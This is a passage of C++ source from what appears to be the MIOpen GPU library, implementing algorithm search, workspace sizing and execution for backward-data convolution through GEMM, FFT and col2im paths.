dxDesc,\n                                                             dx,\n                                                             workSpace,\n                                                             workSpaceSize,\n                                                             network_config,\n                                                             true);\n                        record.SetValues(\"miopenConvolutionBwdDataAlgoFFT\",\n                                         FindDbData{\n                                             \"fft\",\n                                             time_fft,\n                                             workspace_fft,\n                                             {\"miopenConvolutionBwdDataAlgoFFT\", network_config},\n                                         });\n                    }\n                }\n            }\n\n/// The SCGemm Solver is applicable for Bwd Data convolutions, but it is not used here.\n/// \\todo Decide & use SCGemm here and in GWSS. Or, make the Solver not applicable for Bwd.\n\n#if MIOPEN_USE_GEMM\n            if(!use_winograd_only && !miopen::IsDisabled(MIOPEN_DEBUG_CONV_GEMM{}) &&\n               !(IsAnyBufferBF16(dxDesc, dyDesc, wDesc) && !IsUseRocBlas))\n            { // GEMM based\n                ValidateGroupCount(dxDesc, wDesc, *this);\n\n                const bool time_precision = (!IsDisabled(MIOPEN_CONV_PRECISE_ROCBLAS_TIMING{}));\n\n                std::size_t in_n, in_c;\n                std::tie(in_n, in_c) = tie_pick<0, 1>()(dxDesc.GetLengths());\n\n                std::size_t wei_k = wDesc.GetLengths()[0];\n\n                std::size_t spatial_dim = GetSpatialDimension();\n\n                auto in_spatial  = boost::adaptors::slice(dxDesc.GetLengths(), 2, 2 + spatial_dim);\n                auto wei_spatial = boost::adaptors::slice(wDesc.GetLengths(), 2, 2 + spatial_dim);\n                auto out_spatial = boost::adaptors::slice(dyDesc.GetLengths(), 2, 2 + spatial_dim);\n\n                // 1x1 does not require col2im\n                if(GetSpatialDimension() == 2 &&\n                   miopen::all_of(wei_spatial, [](auto v) { return v == 1; }) &&\n                   miopen::all_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n                   miopen::all_of(GetConvStrides(), [](auto v) { return v == 2; }) &&\n                   workSpace != nullptr &&\n                   workSpaceSize >= BackwardDataGetWorkSpaceSizeGEMMTranspose(dyDesc, dxDesc))\n                {\n                    if(group_count > 1)\n                    {\n                        MIOPEN_LOG_FUNCTION(\"groupconv, 1x1 u2xv2\");\n                    }\n                    else\n                    {\n                        MIOPEN_LOG_FUNCTION(\"convolution, 1x1 u2xv2\");\n                    }\n                    float time_gemm = 0;\n\n                    // Initialization required for upsampling in bwd direction\n                    float zero = 0.f;\n                    SetTensor(handle, dxDesc, dx, &zero);\n                    time_gemm = handle.GetKernelTime();\n\n                    // dx = CNHW2NCHW(transpose(w) * NCHW2CNHW(dy))\n                    transpose_NCHW2CNHW(handle,\n                                        in_n,\n                                        wei_k,\n                                        out_spatial[0],\n                                        out_spatial[1],\n                                        out_spatial[0],\n                                        out_spatial[1],\n                                        dy,\n                                        workSpace,\n                                        0,\n                                        0,\n                                        1,\n                                        1,\n                                        dyDesc.GetType());\n                    time_gemm += handle.GetKernelTime();\n\n                    GemmDescriptor gemm_desc =\n                        group_count > 1\n                            ? CreateGemmDescriptorGroupConvCNHWBwdData(\n                                  wDesc, dyDesc, dxDesc, group_count)\n                            : CreateGemmDescriptorConvCNHWBwdData(wDesc, dyDesc, dxDesc);\n\n                    auto kcache_key = FindDbKCacheKey{};\n\n                    miopenStatus_t gemm_status =\n                        CallGemmTimeMeasure(handle,\n                                            gemm_desc,\n                                            w,\n                                            0,\n                                            workSpace,\n                                            0,\n                                            workSpace,\n                                            dyDesc.GetElementSize(),\n                                            &kcache_key,\n                                            time_precision,\n                                            group_count > 1 ? callGemmStridedBatched : callGemm);\n\n                    time_gemm += handle.GetKernelTime();\n\n                    transpose_CNHW2NCHW(handle,\n                                        in_n,\n                                        in_c,\n                                        out_spatial[0],\n                                        out_spatial[1],\n                                        in_spatial[0],\n                                        in_spatial[1],\n                                        workSpace,\n                                        dx,\n                                        dyDesc.GetElementSize(),\n                                        0,\n                                        GetConvStrides()[0],\n                                        GetConvStrides()[1],\n                                        dyDesc.GetType());\n                    time_gemm += handle.GetKernelTime();\n\n                    if(gemm_status == miopenStatusSuccess)\n                        record.SetValues(\n                            \"miopenConvolutionBwdDataAlgoGEMM\",\n                            FindDbData{\"gemm\",\n                                       time_gemm,\n                                       BackwardDataGetWorkSpaceSizeGEMMTranspose(dyDesc, dxDesc),\n                                       kcache_key});\n                }\n                // 1x1_stride=1 convolutions use GEMM and zero workspace\n                else if(miopen::all_of(wei_spatial, [](auto v) { return v == 1; }) &&\n                        miopen::all_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n                        miopen::all_of(GetConvStrides(), [](auto v) { return v == 1; }))\n                {\n                    if(group_count > 1)\n                    {\n                        MIOPEN_LOG_FUNCTION(\"groupconv, 1x1\");\n                    }\n                    else\n                    {\n                        MIOPEN_LOG_FUNCTION(\"convolution, 1x1\");\n                    }\n                    // dx = transpose(w) * dy\n                    GemmDescriptor gemm_desc =\n                        group_count > 1 ? CreateGemmDescriptorGroupConvBwdData(\n                                              wDesc, dyDesc, dxDesc, group_count)\n                                        : CreateGemmStridedBatchedDescriptorConv1x1BwdData(\n                                              wDesc, dyDesc, dxDesc);\n\n                    auto kcache_key = FindDbKCacheKey{};\n\n                    miopenStatus_t gemm_status = CallGemmTimeMeasure(handle,\n                                                                     gemm_desc,\n                                                                     w,\n                                                                     0,\n                                                                     dy,\n                                                                     0,\n                                                                     dx,\n                                                                     0,\n                                                                     &kcache_key,\n                                                                     time_precision,\n                                                                     callGemmStridedBatched);\n\n                    float time_gemm = handle.GetKernelTime();\n                    if(group_count > 1)\n                        time_gemm *= in_n;\n\n                    if(gemm_status == miopenStatusSuccess)\n                        record.SetValues(\"miopenConvolutionBwdDataAlgoGEMM\",\n                                         FindDbData{\n                                             \"gemm\", time_gemm, 0, kcache_key,\n                                         });\n                }\n                // if not 1x1\n                else if(workSpace != nullptr &&\n                        workSpaceSize >= (BackwardDataGetWorkSpaceSizeGEMM(wDesc, dyDesc)))\n                {\n                    if(group_count > 1)\n                    {\n                        MIOPEN_LOG_FUNCTION(\"groupconv, non 1x1\");\n                    }\n                    else\n                    {\n                        MIOPEN_LOG_FUNCTION(\"convolution, non 1x1\");\n                    }\n                    float time_col2im = 0;\n                    int in_offset     = 0;\n\n                    // dx = transpose(w) * dy\n                    GemmDescriptor gemm_desc =\n                        group_count > 1 ? CreateGemmDescriptorGroupConvBwdData(\n                                              wDesc, dyDesc, dxDesc, group_count)\n                                        : CreateGemmDescriptorConvBwdData(wDesc, dyDesc, dxDesc);\n\n                    auto kcache_key = FindDbKCacheKey{};\n\n                    miopenStatus_t gemm_status = CallGemmTimeMeasure(\n                        handle,\n                        gemm_desc,\n                        w,\n                        0,\n                        dy,\n                        0,\n                        workSpace,\n                        0,\n                        &kcache_key,\n                        time_precision,\n                        group_count > 1 ? callGemmStridedBatched : callGemm,\n                        group_count > 1 ? GemmBackend_t::rocblas : GemmBackend_t::miopengemm);\n\n                    float time_gemm = in_n * handle.GetKernelTime();\n                    time_col2im     = Col2ImGPU(handle,\n                                            GetSpatialDimension(),\n                                            workSpace,\n                                            out_spatial,\n                                            wei_spatial,\n                                            GetConvPads(),\n                                            GetConvStrides(),\n                                            GetConvDilations(),\n                                            in_c,\n                                            in_spatial,\n                                            dx,\n                                            in_offset,\n                                            dyDesc.GetType());\n\n                    time_gemm += in_n * time_col2im;\n\n                    if(gemm_status == miopenStatusSuccess)\n                        record.SetValues(\n                            \"miopenConvolutionBwdDataAlgoGEMM\",\n                            FindDbData{\n                                \"gemm\",\n                                time_gemm,\n                                BackwardDataGetWorkSpaceSizeGEMM(wDesc, dyDesc) * group_count,\n                                kcache_key,\n                            });\n                }\n            }\n#endif\n        });\n    }\n\n    if(perf_db.empty())\n        MIOPEN_THROW(miopenStatusUnknownError,\n                     \"Backward Data Convolution cannot be executed due to incorrect params\");\n\n    std::sort(begin(perf_db), end(perf_db));\n\n    for(const auto& entry : perf_db)\n        MIOPEN_LOG_I(entry.name << \"\\t\" << entry.time << \"\\t\" << entry.workspace);\n\n    *returnedAlgoCount = std::min(requestAlgoCount, static_cast<int>(perf_db.size()));\n\n    for(int i = 0; i < *returnedAlgoCount; i++)\n    {\n        perfResults[i].bwd_data_algo = StringToConvolutionBwdDataAlgo(perf_db[i].name);\n        perfResults[i].time          = perf_db[i].time;\n        perfResults[i].memory        = perf_db[i].workspace;\n    }\n\n    MIOPEN_LOG_I(\"BWD Chosen Algorithm: \" << perf_db[0].solver_id << \" , \" << perf_db[0].workspace\n                                          << \", \"\n                                          << perf_db[0].time);\n}\nstatic void ConvBwdCheckNumerics(const Handle& handle,\n                                 const ConvBwdTensors& tensors,\n                                 const void* beta,\n                                 std::function<void()>&& worker)\n{\n    if(!miopen::CheckNumericsEnabled())\n    {\n        worker();\n        return;\n    }\n\n    miopen::checkNumericsInput(handle, tensors.dyDesc, tensors.dy);\n    miopen::checkNumericsInput(handle, tensors.wDesc, tensors.w);\n    if(!float_equal(*(static_cast<const float*>(beta)), 0))\n        miopen::checkNumericsInput(handle, tensors.dxDesc, tensors.dx);\n\n    worker();\n\n    miopen::checkNumericsOutput(handle, tensors.dxDesc, tensors.dx);\n}\n\n// BackwardDataAlgorithm()\nvoid ConvolutionDescriptor::ConvolutionBackwardData(Handle& handle,\n                                                    const void* alpha,\n                                                    const TensorDescriptor& dyDesc,\n                                                    ConstData_t dy,\n                                                    const TensorDescriptor& wDesc,\n                                                    ConstData_t w,\n                                                    miopenConvBwdDataAlgorithm_t algo,\n                                                    const void* beta,\n                                                    const TensorDescriptor& dxDesc,\n                                                    Data_t dx,\n                                                    Data_t workSpace,\n                                                    size_t workSpaceSize) const\n{\n    MIOPEN_LOG_I(\"algo = \" << algo << \", workspace = \" << workSpaceSize);\n    auto tensors = ConvBwdTensors{dyDesc, dy, wDesc, w, dxDesc, dx};\n\n    ValidateConvTensors(tensors);\n    ValidateAlphaBeta(alpha, beta);\n\n    if(wDesc.GetType() == miopenInt8)\n        MIOPEN_THROW(miopenStatusBadParm);\n\n    ConvBwdCheckNumerics(handle, tensors, beta, [&]() {\n        if(dyDesc.GetLengths()[1] != wDesc.GetLengths()[0])\n        {\n            MIOPEN_THROW(miopenStatusBadParm);\n        }\n        ValidateGroupCount(dxDesc, wDesc, *this);\n\n        const auto algorithm_name = AlgorithmName{ConvolutionAlgoToDirectionalString(\n            static_cast<miopenConvAlgorithm_t>(algo), conv::Direction::BackwardData)};\n\n        auto ctx = ConvolutionContext{dxDesc, wDesc, dyDesc, *this, conv::Direction::BackwardData};\n        ctx.SetStream(&handle);\n        const auto network_config = ctx.BuildConfKey();\n        const auto& invoker       = handle.GetInvoker(network_config, boost::none, algorithm_name);\n\n        if(invoker)\n        {\n            const auto& invoke_ctx = conv::DataInvokeParams{tensors, workSpace, workSpaceSize};\n            (*invoker)(handle, invoke_ctx);\n            return;\n        }\n\n        switch(algo)\n        {\n        case miopenConvolutionBwdDataAlgoDirect:\n        case miopenConvolutionBwdDataAlgoWinograd:\n        case miopenConvolutionBwdDataAlgoImplicitGEMM:\n            MIOPEN_THROW(\"No invoker was registered for convolution backward. Was find executed?\");\n\n        case miopenConvolutionBwdDataAlgoGEMM:\n            ConvBwdGemm(handle, tensors, workSpace, workSpaceSize);\n            break;\n\n        case miopenConvolutionBwdDataAlgoFFT:\n            ConvBwdFFT(handle, tensors, workSpace, workSpaceSize, network_config);\n            break;\n\n        case miopenTransposeBwdDataAlgoGEMM: break;\n        }\n    });\n}\nvoid ConvolutionDescriptor::ConvBwdGemm(Handle& handle,\n                                        const ConvBwdTensors& tensors,\n                                        Data_t workSpace,\n                                        std::size_t workSpaceSize) const\n{\n#if MIOPEN_USE_GEMM\n    if(miopen::IsDisabled(MIOPEN_DEBUG_CONV_GEMM{}))\n    {\n        MIOPEN_THROW(\"GEMM convolution is disabled\");\n    }\n    if(IsAnyBufferBF16(tensors.dxDesc, tensors.dyDesc, tensors.wDesc) && !IsUseRocBlas)\n    {\n        MIOPEN_THROW(\"GEMM convolution is unsupported\");\n    }\n\n    std::size_t in_n, in_c;\n    std::tie(in_n, in_c) = tie_pick<0, 1>()(tensors.dxDesc.GetLengths());\n\n    std::size_t wei_k = tensors.wDesc.GetLengths()[0];\n\n    std::size_t spatial_dim = GetSpatialDimension();\n\n    auto in_spatial  = boost::adaptors::slice(tensors.dxDesc.GetLengths(), 2, 2 + spatial_dim);\n    auto wei_spatial = boost::adaptors::slice(tensors.wDesc.GetLengths(), 2, 2 + spatial_dim);\n    auto out_spatial = boost::adaptors::slice(tensors.dyDesc.GetLengths(), 2, 2 + spatial_dim);\n\n    if(GetSpatialDimension() == 2 && miopen::all_of(wei_spatial, [](auto v) { return v == 1; }) &&\n       miopen::all_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n       miopen::all_of(GetConvStrides(), [](auto v) { return v == 2; }))\n    {\n        if(group_count > 1)\n        {\n            MIOPEN_LOG_FUNCTION(\"groupconv, 1x1, u2xv2\");\n        }\n        else\n        {\n            MIOPEN_LOG_FUNCTION(\"convolution, 1x1, u2xv2\");\n        }\n\n        float t1 = 0;\n        // Initialization required for upsampling in bwd direction\n        float zero = 0.f;\n        SetTensor(handle, tensors.dxDesc, tensors.dx, &zero);\n        if(handle.IsProfilingEnabled())\n            t1 = handle.GetKernelTime();\n\n        assert(workSpace != nullptr &&\n               workSpaceSize >=\n                   BackwardDataGetWorkSpaceSizeGEMMTranspose(tensors.dyDesc, tensors.dxDesc));\n\n        transpose_NCHW2CNHW(handle,\n                            in_n,\n                            wei_k,\n                            out_spatial[0],\n                            out_spatial[1],\n                            out_spatial[0],\n                            out_spatial[1],\n                            tensors.dy,\n                            workSpace,\n                            0,\n                            0,\n                            1,\n                            1,\n                            tensors.dyDesc.GetType());\n        if(handle.IsProfilingEnabled())\n            t1 += handle.GetKernelTime();\n\n        if(group_count > 1)\n        {\n            GemmDescriptor gemm_desc = CreateGemmDescriptorGroupConvCNHWBwdData(\n                tensors.wDesc, tensors.dyDesc, tensors.dxDesc, group_count);\n\n            CallGemmStridedBatched(handle,\n                                   gemm_desc,\n                                   tensors.w,\n                                   0,\n                                   workSpace,\n                                   0,\n                                   workSpace,\n                                   tensors.dyDesc.GetElementSize(),\n                                   nullptr,\n                                   false);\n        }\n        else\n        {\n            // tensors.dx = CNHW2NCHW(transpose(tensors.w) * NCHW2CNHW(tensors.dy))\n            GemmDescriptor gemm_desc =\n                CreateGemmDescriptorConvCNHWBwdData(tensors.wDesc, tensors.dyDesc, tensors.dxDesc);\n\n            // tensors.dx = CNHW2NCHW(transpose(tensors.w) * NCHW2CNHW(tensors.dy))\n            CallGemm(handle,\n                     gemm_desc,\n                     tensors.w,\n                     0,\n                     workSpace,\n                     0,\n                     workSpace,\n                     tensors.dyDesc.GetElementSize(),\n                     nullptr,\n                     false);\n        }\n        if(handle.IsProfilingEnabled())\n            t1 += handle.GetKernelTime();\n\n        transpose_CNHW2NCHW(handle,\n                            in_n,\n                            in_c,\n                            out_spatial[0],\n                            out_spatial[1],\n                            in_spatial[0],\n                            in_spatial[1],\n                            workSpace,\n                            tensors.dx,\n                            tensors.dyDesc.GetElementSize(),\n                            0,\n                            GetConvStrides()[0],\n                            GetConvStrides()[1],\n                            tensors.dyDesc.GetType());\n        if(handle.IsProfilingEnabled())\n            t1 += handle.GetKernelTime();\n\n        if(handle.IsProfilingEnabled())\n        {\n            handle.ResetKernelTime();\n            handle.AccumKernelTime(t1);\n        }\n    }\n    // 1x1_stride=1 convolutions use GEMM and zero workspace\n    else if(miopen::all_of(wei_spatial, [](auto v) { return v == 1; }) &&\n            miopen::all_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n            miopen::all_of(GetConvStrides(), [](auto v) { return v == 1; }))\n    {\n        if(group_count > 1)\n        {\n            MIOPEN_LOG_FUNCTION(\"groupconv, 1x1\");\n\n            GemmDescriptor gemm_desc = CreateGemmDescriptorGroupConvBwdData(\n                tensors.wDesc, tensors.dyDesc, tensors.dxDesc, group_count);\n\n            float time_0 = 0;\n            for(std::size_t i = 0; i < in_n; i++)\n            {\n                std::size_t out_spatial_size = std::accumulate(out_spatial.begin(),\n                                                               out_spatial.end(),\n                                                               std::size_t(1),\n                                                               std::multiplies<std::size_t>());\n\n                std::size_t in_spatial_size = std::accumulate(in_spatial.begin(),\n                                                              in_spatial.end(),\n                                                              std::size_t(1),\n                                                              std::multiplies<std::size_t>());\n\n                std::size_t out_offset = i * wei_k * out_spatial_size;\n\n                std::size_t in_offset = i * in_c * in_spatial_size;\n\n                CallGemmStridedBatched(handle,\n                                       gemm_desc,\n                                       tensors.w,\n                                       0,\n                                       tensors.dy,\n                                       out_offset,\n                                       tensors.dx,\n                                       in_offset,\n                                       nullptr,\n                                       false);\n\n                if(handle.IsProfilingEnabled())\n                {\n                    if(i == in_n - 1)\n                        handle.AccumKernelTime(time_0);\n                    time_0 += handle.GetKernelTime();\n                }\n            }\n        }\n        else\n        {\n            MIOPEN_LOG_FUNCTION(\"convolution, 1x1\");\n\n            // tensors.dx = transpose(tensors.w) * tensors.dy\n            GemmDescriptor gemm_desc = CreateGemmStridedBatchedDescriptorConv1x1BwdData(\n                tensors.wDesc, tensors.dyDesc, tensors.dxDesc);\n\n            // tensors.dx = transpose(tensors.w) * tensors.dy\n            CallGemmStridedBatched(\n                handle, gemm_desc, tensors.w, 0, tensors.dy, 0, tensors.dx, 0, nullptr, false);\n        }\n    }\n    // if not 1x1\n    else\n    {\n        if(group_count > 1)\n        {\n            MIOPEN_LOG_FUNCTION(\"groupconv, non 1x1\");\n        }\n        else\n        {\n            MIOPEN_LOG_FUNCTION(\"convolution, non 1x1\");\n        }\n        assert(workSpace != nullptr &&\n               workSpaceSize >= (BackwardDataGetWorkSpaceSizeGEMM(tensors.wDesc, tensors.dyDesc)));\n\n        // tensors.dx = transpose(tensors.w) * tensors.dy\n        GemmDescriptor gemm_desc{};\n        if(group_count > 1)\n            gemm_desc = CreateGemmDescriptorGroupConvBwdData(\n                tensors.wDesc, tensors.dyDesc, tensors.dxDesc, group_count);\n        else\n            gemm_desc =\n                CreateGemmDescriptorConvBwdData(tensors.wDesc, tensors.dyDesc, tensors.dxDesc);\n\n        handle.ResetKernelTime();\n\n        std::size_t out_spatial_size = std::accumulate(\n            out_spatial.begin(), out_spatial.end(), std::size_t(1), std::multiplies<std::size_t>());\n\n        std::size_t in_spatial_size = std::accumulate(\n            in_spatial.begin(), in_spatial.end(), std::size_t(1), std::multiplies<std::size_t>());\n\n        float time_0 = 0;\n        float t1     = 0;\n        for(std::size_t i = 0; i < in_n; i++)\n        {\n            std::size_t out_offset = i * wei_k * out_spatial_size;\n            std::size_t in_offset  = i * in_c * in_spatial_size;\n\n            // tensors.dx = transpose(tensors.w) * tensors.dy\n            if(group_count > 1)\n                CallGemmStridedBatched(handle,\n                                       gemm_desc,\n                                       tensors.w,\n                                       0,\n                                       tensors.dy,\n                                       out_offset,\n                                       workSpace,\n                                       0,\n                                       nullptr,\n                                       false);\n            else\n                CallGemm(handle,\n                         gemm_desc,\n                         tensors.w,\n                         0,\n                         tensors.dy,\n                         out_offset,\n                         workSpace,\n                         0,\n                         nullptr,\n                         false,\n                         GemmBackend_t::miopengemm);\n\n            if(handle.IsProfilingEnabled())\n                t1 = handle.GetKernelTime();\n\n            Col2ImGPU(handle,\n                      GetSpatialDimension(),\n                      workSpace,\n                      out_spatial,\n                      wei_spatial,\n                      GetConvPads(),\n                      GetConvStrides(),\n                      GetConvDilations(),\n                      in_c,\n                      in_spatial,\n                      tensors.dx,\n                      in_offset,\n                      tensors.dyDesc.GetType());\n\n            // Update times for both the kernels\n            if(handle.IsProfilingEnabled())\n            {\n                if(i == in_n - 1)\n                    handle.AccumKernelTime(t1 + time_0);\n                else\n                    handle.AccumKernelTime(t1);\n                time_0 += handle.GetKernelTime();\n            }\n        }\n    }\n#ifdef NDEBUG\n    std::ignore = workSpaceSize;\n#endif\n#else\n    std::ignore = handle;\n    std::ignore = tensors;\n    std::ignore = workSpace;\n    std::ignore = workSpaceSize;\n    MIOPEN_THROW(\"GEMM is not supported\");\n#endif\n}\n\nvoid ConvolutionDescriptor::ConvBwdFFT(const Handle& handle,\n                                       const ConvBwdTensors& tensors,\n                                       Data_t workSpace,\n                                       size_t workSpaceSize,\n                                       const NetworkConfig& kcache_key) const\n{\n    assert(workSpaceSize >=\n           BackwardGetWorkSpaceSizeFFT(tensors.wDesc, tensors.dyDesc, tensors.dxDesc));\n\n    if(workSpace == nullptr || workSpaceSize == 0)\n        MIOPEN_THROW(\"Error running FFT: none workspace\");\n\n    bool timed  = handle.IsProfilingEnabled();\n    float timev = ExecuteBwdFFTKernel(handle,\n                                      tensors.dyDesc,\n                                      tensors.dy,\n                                      tensors.wDesc,\n                                      tensors.w,\n                                      tensors.dxDesc,\n                                      tensors.dx,\n                                      workSpace,\n                                      workSpaceSize,\n                                      kcache_key,\n                                      timed);\n\n    if(timed)\n    {\n        handle.ResetKernelTime();\n        handle.AccumKernelTime(timev);\n    }\n}\n\nstd::size_t ConvolutionDescriptor::GetBackwardSolutionCount(Handle& handle,\n                                                            const TensorDescriptor& dyDesc,\n                                                            const TensorDescriptor& wDesc,\n                                                            const TensorDescriptor& dxDesc) const\n{\n    MIOPEN_LOG_I(\"\");\n    ValidateGroupCount(dxDesc, wDesc, *this);\n    const auto problem =\n        ProblemDescription{dxDesc, wDesc, dyDesc, *this, conv::Direction::BackwardData};\n    const auto count = GetSolutionCount(handle, problem);\n    if(count > 0)\n        return count;\n    return GetBwdSolutionCountFallback(dyDesc, wDesc, dxDesc);\n}\n\nvoid ConvolutionDescriptor::GetBackwardSolutions(Handle& handle,\n                                                 const TensorDescriptor& dyDesc,\n                                                 const TensorDescriptor& wDesc,\n                                                 const TensorDescriptor& dxDesc,\n                                                 size_t maxSolutionCount,\n                                                 size_t* solutionCount,\n                                                 miopenConvSolution_t* solutions) const\n{\n    MIOPEN_LOG_I(\"\");\n    if(solutionCount == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"solutionCount cannot be nullptr\");\n    if(solutions == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"solutions cannot be nullptr\");\n\n    const auto problem =\n        ProblemDescription{dxDesc, wDesc, dyDesc, *this, conv::Direction::BackwardData};\n    GetSolutions(handle,\n                 problem,\n                 maxSolutionCount,\n                 solutionCount,\n                 solutions,\n                 StringToConvolutionBwdDataAlgo);\n\n    if(*solutionCount == 0)\n        GetBwdSolutionsFallback(\n            handle, dyDesc, wDesc, dxDesc, maxSolutionCount, solutionCount, solutions);\n}\n\nvoid ConvolutionDescriptor::CompileBackwardSolution(Handle& handle,\n                                                    const TensorDescriptor& dyDesc,\n                                                    const TensorDescriptor& wDesc,\n                                                    const TensorDescriptor& dxDesc,\n                                                    solver::Id solver_id) const\n{\n    MIOPEN_LOG_I(\"solver_id = \" << solver_id.ToString());\n\n    auto ctx = ConvolutionContext{dxDesc, wDesc, dyDesc, *this, conv::Direction::BackwardData};\n    ctx.SetStream(&handle);\n    ctx.disable_search_enforce = true;\n\n    CompileSolution(handle, solver_id, ctx, conv::Direction::BackwardData, [&]() {\n        const auto workspace_fft = BackwardGetWorkSpaceSizeFFT(wDesc, dyDesc, dxDesc);\n        std::vector<KernelInvoke> ignore0;\n        const auto network_config = ctx.BuildConfKey();\n        FindBwdFFTKernel(handle, dyDesc, wDesc, dxDesc, workspace_fft, ignore0, network_config);\n    });\n}\n\nstd::size_t ConvolutionDescriptor::GetBackwardSolutionWorkspaceSize(Handle& handle,\n                                                                    const TensorDescriptor& dyDesc,\n                                                                    const TensorDescriptor& wDesc,\n                                                                    const TensorDescriptor& dxDesc,\n                                                                    solver::Id solver_id) const\n{\n    MIOPEN_LOG_I2(\"solver_id = \" << solver_id.ToString());\n    if(!solver_id.IsValid())\n        MIOPEN_THROW(miopenStatusBadParm, \"invalid solution id = \" + solver_id.ToString());\n    if(solver_id != solver::Id::gemm() && solver_id != solver::Id::fft())\n    {\n        auto sol = solver_id.GetSolver();\n        auto ctx = ConvolutionContext{dxDesc, wDesc, dyDesc, *this, conv::Direction::BackwardData};\n        ctx.SetStream(&handle);\n        ctx.DetectRocm();\n        if(sol.IsApplicable(ctx))\n            return sol.GetWorkspaceSize(ctx);\n        else\n        {\n            MIOPEN_THROW(miopenStatusBadParm,\n                         \"The supplied solution id: \" + solver_id.ToString() +\n                             \" is not applicable to the current problem\");\n        }\n    }\n    else if(solver_id == solver::Id::fft())\n        return BackwardGetWorkSpaceSizeFFT(wDesc, dyDesc, dxDesc);\n    return GetBwdSolutionWorkspaceSizeFallback(dyDesc, wDesc, dxDesc, solver_id);\n}\n\nvoid ConvolutionDescriptor::ConvolutionBackwardImmediate(Handle& handle,\n                                                         const TensorDescriptor& dyDesc,\n                                                         ConstData_t dy,\n                                                         const TensorDescriptor& wDesc,\n                                                         ConstData_t w,\n                                                         const TensorDescriptor& dxDesc,\n                                                         Data_t dx,\n                                                         Data_t workSpace,\n                                                         std::size_t workSpaceSize,\n                                                         solver::Id solver_id) const\n{\n    MIOPEN_LOG_I(\"solver_id = \" << solver_id.ToString() << \", workspace = \" << workSpaceSize);\n    auto tensors = ConvBwdTensors{dyDesc, dy, wDesc, w, dxDesc, dx};\n\n    ValidateConvTensors(tensors);\n\n    if(wDesc.GetType() == miopenInt8)\n        MIOPEN_THROW(miopenStatusBadParm);\n\n    static const float beta = 0.0f;\n    ConvBwdCheckNumerics(handle, tensors, &beta, [&]() {\n        if(dyDesc.GetLengths()[1] != wDesc.GetLengths()[0])\n        {\n            MIOPEN_THROW(miopenStatusBadParm);\n        }\n        ValidateGroupCount(dxDesc, wDesc, *this);\n\n        auto ctx = ConvolutionContext{dxDesc, wDesc, dyDesc, *this, conv::Direction::BackwardData};\n\n        if(CheckInvokerSupport(solver_id, conv::Direction::BackwardData))\n        {\n            const auto invoker =\n                LoadOrPrepareInvoker(handle, ctx, solver_id, conv::Direction::BackwardData);\n            const auto invoke_ctx = conv::DataInvokeParams{tensors, workSpace, workSpaceSize};\n            invoker(handle, invoke_ctx);\n            return;\n        }\n\n        if(solver_id == solver::Id::gemm())\n        {\n            ConvBwdGemm(handle, tensors, workSpace, workSpaceSize);\n            return;\n        }\n\n        ctx.SetStream(&handle);\n        const auto network_config = ctx.BuildConfKey();\n        const auto algo_name      = solver_id.GetAlgo(conv::Direction::BackwardData);\n        const auto&& chk_kernels  = handle.GetKernels(algo_name, network_config);\n        auto v_chk_kernels = std::vector<KernelInvoke>{chk_kernels.begin(), chk_kernels.end()};\n\n        if(!v_chk_kernels.empty())\n        {\n            MIOPEN_LOG_I2(\n                \"Found previously compiled kernels for solution: \" << solver_id.ToString());\n            if(solver_id == solver::Id::fft())\n                ConvBwdFFT(handle, tensors, workSpace, workSpaceSize, network_config);\n            else\n                MIOPEN_THROW(\"Invalid algorithm: \" + algo_name);\n            return;\n        }\n\n        const auto problem =\n            ProblemDescription{dxDesc, wDesc, dyDesc, *this, conv::Direction::BackwardData};\n        const FindDbRecord fdb_record{handle, problem};\n\n        for(const auto& pair : fdb_record)\n        {\n            if(solver::Id{pair.second.solver_id} != solver_id)\n                continue;\n\n            const auto&& kernels = handle.GetKernels(pair.second.kcache_key.algorithm_name,\n                                                     pair.second.kcache_key.network_config);\n            auto v_kernels = std::vector<KernelInvoke>{kernels.begin(), kernels.end()};\n\n            if(solver_id == solver::Id::fft())\n            {\n                if(v_kernels.empty())\n                    FindBwdFFTKernel(\n                        handle, dyDesc, wDesc, dxDesc, workSpaceSize, v_kernels, network_config);\n                ConvBwdFFT(handle, tensors, workSpace, workSpaceSize, network_config);\n                return;\n            }\n\n            MIOPEN_THROW(\"Invalid algorithm: \" + pair.second.kcache_key.algorithm_name);\n            return;\n        }\n\n        // Todo: solver not found in find-db.\n        MIOPEN_THROW(miopenStatusNotImplemented);\n    });\n}\n\ntemplate <int WinoDataH, int WinoFilterH, typename T>\ninline void EvaluateWinograd3x3MultipassWrW(Handle& handle,\n                                            const ConvolutionContext& ctx,\n                                            const ConvWrwTensors& tensors,\n                                            Data_t workSpace,\n                                            T kernels,\n                                            int pad_H,\n                                            int pad_W,\n                                            float* elapsed = nullptr)\n{\n    EvaluateWinograd3x3MultipassWrW<WinoDataH, WinoFilterH, WinoDataH, WinoFilterH, T>(\n        handle, ctx, tensors, workSpace, kernels, pad_H, pad_W, elapsed);\n}\n\ntemplate <int WinoDataH, int WinoFilterH, int WinoDataW, int WinoFilterW, typename T>\ninline void EvaluateWinograd3x3MultipassWrW(Handle& handle,\n                                            const ConvolutionContext& ctx,\n                                            const ConvWrwTensors& tensors,\n                                            Data_t workSpace,\n                                            T kernels,\n                                            int pad_H,\n                                            int pad_W,\n                                            float* elapsed = nullptr)\n\n{\n#if(MIOPEN_BACKEND_HIP && MIOPEN_USE_ROCBLAS)\n    int flags         = 0;\n    int reserved      = 0;\n    int* reserved_ptr = nullptr;\n    int unused        = 0;\n    int N, C, H, W, K, n_groups, out_H, out_W, R, S;\n\n    GetCompiledInParameters(\n        ctx, &C, &K, &R, &S, &N, &n_groups, &H, &W, &out_H, &out_W, &unused, &unused);\n    // clang-format off\n    BuffInfo\n        in_buff_info(\n            GetSwappedNCLayout(GetMemLayout_t(ctx.in_layout)),\n            N, C, H, W, 1,\n            GetTypeSize(ctx.in_data_type)),\n        out_buff_info(\n            GetSwappedNCLayout(GetMemLayout_t(ctx.out_layout)),\n            N, K, out_H, out_W, 1,\n            GetTypeSize(ctx.out_data_type)),\n        weights_buff_info(\n            // weights_layout unsupported ... GetSwappedNCLayout(GetMemLayout_t(ctx.weights_layout))\n            GetSwappedNCLayout(MemLayout_t::NCHW),\n            K, C, R, S, 1,\n            GetTypeSize(ctx.weights_data_type));\n\n    int wino_xform_h =\n            solver::ConvWinograd3x3MultipassWrW<WinoDataH, WinoFilterH, WinoDataW, 